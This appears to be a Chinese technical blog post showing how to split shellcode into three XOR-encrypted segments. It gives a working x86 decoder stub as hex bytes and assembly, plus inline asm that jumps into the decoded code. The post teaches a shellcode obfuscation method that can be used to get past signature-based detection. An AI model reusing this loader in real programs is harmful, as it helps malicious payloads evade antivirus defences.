分段执行shellcode

一、结构图

二、shellcode加密

1、将shellcode分别加密三次,每一次取出其中一段

2、构造代码段

  • 其中C1和51,F3和63,E8和78异或之后为90,90作为判断解密是否结束的标志
  • mov bh, 0x51的硬编码是 B7 51 ,0x51是key1的值,不同的代码段,是不一样的
  • jmp eax的硬编码是FF E0 ,eax是解码代码的首地址

三、生成解码器

char encode[] = “\x83\xC1\x04\x51\x33\xFF\x8A\x1C\x39\x32\xDF\x88\x1C\x39\x47\x80\xFB\x90\x74\x02\xEB\xF0\x03\xCF\xC3\x90”;
硬编码对应的指令:
		add ecx, 4  //跳过jmp语句
		push ecx	//ecx入栈,让ret跳转到encode1处开始执行
		xor edi, edi //edi作为偏移量
decode:	mov bl, [ecx+edi]
		xor bl, bh	//xor解密,bh是密钥
		mov [ecx+edi], bl
		inc edi
		cmp bl,0x90  //判断代码段是否全部解密完成
		je execute
		jmp decode

execute:add ecx,edi  //下一段encode2的首地址
		ret //ret跳转到之前压入的ecx指向的地址,即跳转到encode1处开始执行

四、拼接encode拼接

解码子 + encode1 + encode2 + encode3
char encode[] = 
"\x83\xC1\x04\x51\x33\xFF\x8A\x1C\x39\x32\xDF\x88\x1C\x39\x47\x80\xFB\x90\x74\x02\xEB\xF0\x03\xCF\xC3\x90" //解码子
"\xB7\x51\xFF\xE0\xD2\x93\x53\x03\x3B\x51\xC1" //encode1
"\xB7\x63\xFF\xE0\x9C\x16\x97\x9C\x16\x93\x09\x63\xF3" //encode2
"\xB7\x78\xFF\xE0\xF3\x3D\x80\x87\xA8\xBB\xE8"; //encode3
	

五、调用encode

	_asm
	{
		lea eax, encode      //eax是解码地址
		mov ecx, eax
		add ecx, 0x1A        //解码器0x1A个字节,ecx是encode1首地址
		push ecx             //encode1首地址入栈
		call next            //跳到下一行,并且pop edx指令的地址入栈
        next:	pop edx              //出栈,pop edx指令的地址出栈给edx                            
		ret                  //出栈,encode1首地址出栈给eip
	}
posted @ 2020-11-25 11:05  lnterpreter  阅读(332)  评论(0编辑  收藏  举报